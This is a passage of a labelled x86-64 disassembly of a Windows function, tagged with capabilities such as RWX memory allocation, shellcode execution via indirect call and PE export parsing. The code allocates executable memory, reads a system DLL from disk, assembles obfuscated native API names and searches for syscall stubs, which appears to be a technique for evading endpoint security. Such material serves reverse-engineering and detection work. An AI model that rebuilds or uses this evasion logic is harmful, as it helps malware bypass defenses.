Function at 0x14000344f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x3090
call fcn.140015010
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.140014060
call fcn.140001617
mov dword [rbp + 0x7c], 0
mov qword [rbp + 0x70], 0
mov rax, qword [0x1400bf168]
mov qword [rbp + 0x60], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x2ff8], eax
mov eax, dword [rbp + 0x2ff8]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x2ff0], rax
mov rax, qword [rbp + 0x2ff0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x2fe8], rax
mov rax, qword [rbp + 0x2fe8]
add rax, 0x17
mov qword [rbp + 0x2fe0], rax
mov rax, qword [rbp + 0x2fe0]
add rax, 0x17
mov qword [rbp + 0x2fd8], rax
mov rax, qword [rbp + 0x2fd8]
add rax, 0x17
mov qword [rbp + 0x2fd0], rax
mov rax, qword [rbp + 0x2fd0]
add rax, 0x17
mov qword [rbp + 0x2fc8], rax
mov rax, qword [rbp + 0x2fc8]
add rax, 0x17
mov qword [rbp + 0x2fc0], rax
mov rax, qword [rbp + 0x2fc0]
add rax, 0x17
mov qword [rbp + 0x2fb8], rax
mov rax, qword [rbp + 0x2fb8]
add rax, 0x17
mov qword [rbp + 0x2fb0], rax
mov rax, qword [rbp + 0x2fb0]
add rax, 0x17
mov qword [rbp + 0x2fa8], rax
mov rax, qword [rbp + 0x2fa8]
add rax, 0x17
mov qword [rbp + 0x2fa0], rax
mov rax, qword [rbp + 0x2fa0]
add rax, 0x17
mov qword [rbp + 0x2f98], rax
mov rax, qword [rbp + 0x2f98]
add rax, 0x17
mov qword [rbp + 0x2f90], rax
mov rax, qword [rbp + 0x2f90]
add rax, 0x17
mov qword [rbp + 0x2f88], rax
mov rax, qword [rbp + 0x2f88]
add rax, 0x17
mov qword [rbp + 0x2f80], rax
mov rax, qword [rbp + 0x2f80]
add rax, 0x17
mov qword [rbp + 0x2f78], rax
mov rax, qword [rbp + 0x2f78]
add rax, 0x17
mov qword [rbp + 0x2f70], rax
mov rax, qword [rbp + 0x2f70]
add rax, 0x17
mov qword [rbp + 0x2f68], rax
mov rax, qword [rbp + 0x2f68]
add rax, 0x17
mov qword [rbp + 0x2f60], rax
mov dword [rbp + 0x5c], 0
mov qword [rbp + 0x2f58], 0
mov dword [rbp + 0x2f54], 0
mov dword [rbp + 0x58], 0
mov qword [rbp + 0x2f48], 0
mov rax, qword [rbp + 0x2fe8]
mov qword [0x1400f0038], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2fe8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2fe0]
mov qword [0x1400f0040], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2fe0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2fd8]
mov qword [0x1400f0048], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2fd8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2fd0]
mov qword [0x1400f0050], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2fd0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2fc8]
mov qword [0x1400f0058], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2fc8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2fc0]
mov qword [0x1400f0060], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2fc0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2fb8]
mov qword [0x1400f0068], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2fb8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2fb0]
mov qword [0x1400f0070], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2fb0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2fa8]
mov qword [0x1400f0078], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2fa8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2fa0]
mov qword [0x1400f0080], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2fa0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f98]
mov qword [0x1400f0088], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f98]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f90]
mov qword [0x1400f0090], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f90]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f88]
mov qword [0x1400f0098], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f88]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f80]
mov qword [0x1400f00a0], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f80]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f78]
mov qword [0x1400f00a8], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f78]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f70]
mov qword [0x1400f00b0], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f70]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f68]
mov qword [0x1400f00b8], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f68]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f60]
mov qword [0x1400f00c0], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2f60]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, [0x1400c3371]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2f58], rax
mov rax, qword [rbp + 0x2f58]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x2f54], eax
mov ebx, dword [rbp + 0x2f54]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x2f48], rax
lea r8, [rbp + 0x58]
mov ecx, dword [rbp + 0x2f54]
mov rdx, qword [rbp + 0x2f48]
mov rax, qword [rbp + 0x2f58]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x2f48]
mov qword [rbp + 0x2f40], rax
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2f48]
add rax, rdx
mov qword [rbp + 0x2f38], rax
mov rax, qword [rbp + 0x2f38]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x2f34], eax
mov rax, qword [rbp + 0x2f38]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x2f38]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x3008], rax
mov rax, qword [rbp + 0x3008]
mov qword [rbp + 0x2f28], rax
mov rax, qword [rbp + 0x3008]
mov qword [rbp + 0x3000], rax
mov dword [rbp + 0x2ffc], 0
jmp 0x140003b68
mov rax, qword [rbp + 0x3008]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140003b59
mov rax, qword [rbp + 0x3008]
mov qword [rbp + 0x3000], rax
jmp 0x140003b7e
add qword [rbp + 0x3008], 0x28
add dword [rbp + 0x2ffc], 1
mov rax, qword [rbp + 0x2f38]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x2ffc], eax
jl 0x140003b2f
mov edx, dword [rbp + 0x2f34]
mov rax, qword [rbp + 0x2f48]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x3000]
mov rdx, rax
call fcn.1400014b0
mov qword [rbp + 0x2f20], rax
lea rax, [rbp + 0x34f]
mov qword [rbp + 0x2ef8], rax
nop
nop
lea rdx, [rbp + 0x34f]
lea rax, [rbp + 0x320]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa1d0
lea rax, [rbp + 0x300]
lea rdx, [rbp + 0x320]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2e0]
lea rdx, [rbp + 0x300]
lea r8, [0x1400c339a]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2c0]
lea rdx, [rbp + 0x2e0]
lea r8, [0x1400c339c]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x2a0]
lea rdx, [rbp + 0x2c0]
lea r8, [0x1400c339c]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x280]
lea rdx, [rbp + 0x2a0]
lea r8, [0x1400c339e]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x260]
lea rdx, [rbp + 0x280]
lea r8, [0x1400c33a0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x240]
lea rdx, [rbp + 0x260]
lea r8, [0x1400c33a2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x220]
lea rdx, [rbp + 0x240]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x200]
lea rdx, [rbp + 0x220]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1e0]
lea rdx, [rbp + 0x200]
lea r8, [0x1400c33a6]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1c0]
lea rdx, [rbp + 0x1e0]
lea r8, [0x1400c33a8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1a0]
lea rdx, [rbp + 0x1c0]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x180]
lea rdx, [rbp + 0x1a0]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x160]
lea rdx, [rbp + 0x180]
lea r8, [0x1400c33ac]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x160]
lea r8, [0x1400c33a2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x120]
lea rdx, [rbp + 0x140]
lea r8, [0x1400c339c]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x100]
lea rdx, [rbp + 0x120]
lea r8, [0x1400c33ae]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xe0]
lea rdx, [rbp + 0x100]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xc0]
lea rdx, [rbp + 0xe0]
lea r8, [0x1400c33b0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0xc0]
lea r8, [0x1400c339e]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x80]
lea rdx, [rbp + 0xa0]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x30]
lea rdx, [rbp + 0x80]
lea r8, [0x1400c33b2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x80]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xa0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xe0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x140]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1e0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x200]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x220]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x260]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x280]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2a0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2c0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x2e0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x300]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x320]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x34f]
mov rcx, rax
call fcn.14009b3a0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x350]
mov rcx, rax
call fcn.1400a9d30
mov r9, qword [rbp + 0x2f28]
mov r8, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f20]
lea rax, [rbp + 0x350]
mov rcx, qword [rbp + 0x2fe8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3000]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2f1c], eax
lea rax, [rbp + 0x350]
mov rcx, rax
call fcn.1400aa9f0
cmp dword [rbp + 0x2f1c], 0
je 0x140004020
lea rbx, [0x1400c33b4]
jmp 0x140004027
lea rbx, [0x1400c33b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400301f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x5ff]
mov qword [rbp + 0x2ef0], rax
nop
nop
lea rdx, [rbp + 0x5ff]
lea rax, [rbp + 0x5d0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa1d0
lea rax, [rbp + 0x5b0]
lea rdx, [rbp + 0x5d0]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x590]
lea rdx, [rbp + 0x5b0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x570]
lea rdx, [rbp + 0x590]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x550]
lea rdx, [rbp + 0x570]
lea r8, [0x1400c33a8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x530]
lea rdx, [rbp + 0x550]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x510]
lea rdx, [rbp + 0x530]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x4f0]
lea rdx, [rbp + 0x510]
lea r8, [0x1400c33a6]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x4d0]
lea rdx, [rbp + 0x4f0]
lea r8, [0x1400c33a8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x4b0]
lea rdx, [rbp + 0x4d0]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x490]
lea rdx, [rbp + 0x4b0]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x470]
lea rdx, [rbp + 0x490]
lea r8, [0x1400c33ac]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x450]
lea rdx, [rbp + 0x470]
lea r8, [0x1400c33a2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x430]
lea rdx, [rbp + 0x450]
lea r8, [0x1400c339c]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x430]
lea r8, [0x1400c33ae]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x3f0]
lea rdx, [rbp + 0x410]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x3d0]
lea rdx, [rbp + 0x3f0]
lea r8, [0x1400c33b0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x3b0]
lea rdx, [rbp + 0x3d0]
lea r8, [0x1400c339e]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x390]
lea rdx, [rbp + 0x3b0]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x370]
lea rdx, [rbp + 0x390]
lea r8, [0x1400c33b2]
mov rcx, rax
call fcn.1400bab10
lea rdx, [rbp + 0x370]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400aaa30
lea rax, [rbp + 0x370]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x3b0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x3d0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x3f0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x410]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x430]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x450]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x470]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x490]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x4b0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x4d0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x4f0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x510]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x530]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x550]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x570]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x590]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x5b0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x5d0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x5ff]
mov rcx, rax
call fcn.14009b3a0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x600]
mov rcx, rax
call fcn.1400a9d30
mov r9, qword [rbp + 0x2f28]
mov r8, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f20]
lea rax, [rbp + 0x600]
mov rcx, qword [rbp + 0x2fe0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3000]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2f1c], eax
lea rax, [rbp + 0x600]
mov rcx, rax
call fcn.1400aa9f0
cmp dword [rbp + 0x2f1c], 0
je 0x140004464
lea rbx, [0x1400c33b4]
jmp 0x14000446b
lea rbx, [0x1400c33b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400301f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x8ef]
mov qword [rbp + 0x2ee8], rax
nop
nop
lea rdx, [rbp + 0x8ef]
lea rax, [rbp + 0x8c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa1d0
lea rax, [rbp + 0x8a0]
lea rdx, [rbp + 0x8c0]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x880]
lea rdx, [rbp + 0x8a0]
lea r8, [0x1400c33d4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x860]
lea rdx, [rbp + 0x880]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x840]
lea rdx, [rbp + 0x860]
lea r8, [0x1400c339e]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x820]
lea rdx, [rbp + 0x840]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x800]
lea rdx, [rbp + 0x820]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x7e0]
lea rdx, [rbp + 0x800]
lea r8, [0x1400c33a0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x7c0]
lea rdx, [rbp + 0x7e0]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x7a0]
lea rdx, [rbp + 0x7c0]
lea r8, [0x1400c33a6]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x780]
lea rdx, [rbp + 0x7a0]
lea r8, [0x1400c33a8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x760]
lea rdx, [rbp + 0x780]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x740]
lea rdx, [rbp + 0x760]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x720]
lea rdx, [rbp + 0x740]
lea r8, [0x1400c33ac]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x700]
lea rdx, [rbp + 0x720]
lea r8, [0x1400c33a2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x6e0]
lea rdx, [rbp + 0x700]
lea r8, [0x1400c339c]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x6c0]
lea rdx, [rbp + 0x6e0]
lea r8, [0x1400c33ae]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x6a0]
lea rdx, [rbp + 0x6c0]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x680]
lea rdx, [rbp + 0x6a0]
lea r8, [0x1400c33b0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x660]
lea rdx, [rbp + 0x680]
lea r8, [0x1400c339e]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x640]
lea rdx, [rbp + 0x660]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x620]
lea rdx, [rbp + 0x640]
lea r8, [0x1400c33b2]
mov rcx, rax
call fcn.1400bab10
lea rdx, [rbp + 0x620]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400aaa30
lea rax, [rbp + 0x620]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x640]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x660]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x680]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x6a0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x6c0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x6e0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x700]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x720]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x740]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x760]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x780]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x7a0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x7c0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x7e0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x800]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x820]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x840]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x860]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x880]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x8a0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x8c0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x8ef]
mov rcx, rax
call fcn.14009b3a0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x8f0]
mov rcx, rax
call fcn.1400a9d30
mov r9, qword [rbp + 0x2f28]
mov r8, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f20]
lea rax, [rbp + 0x8f0]
mov rcx, qword [rbp + 0x2fd8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3000]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2f1c], eax
lea rax, [rbp + 0x8f0]
mov rcx, rax
call fcn.1400aa9f0
cmp dword [rbp + 0x2f1c], 0
je 0x140004900
lea rbx, [0x1400c33b4]
jmp 0x140004907
lea rbx, [0x1400c33b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400301f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xb1f]
mov qword [rbp + 0x2ee0], rax
nop
nop
lea rdx, [rbp + 0xb1f]
lea rax, [rbp + 0xaf0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa1d0
lea rax, [rbp + 0xad0]
lea rdx, [rbp + 0xaf0]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xab0]
lea rdx, [rbp + 0xad0]
lea r8, [0x1400c33d6]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xa90]
lea rdx, [rbp + 0xab0]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xa70]
lea rdx, [rbp + 0xa90]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xa50]
lea rdx, [rbp + 0xa70]
lea r8, [0x1400c33a2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xa30]
lea rdx, [rbp + 0xa50]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xa10]
lea rdx, [rbp + 0xa30]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x9f0]
lea rdx, [rbp + 0xa10]
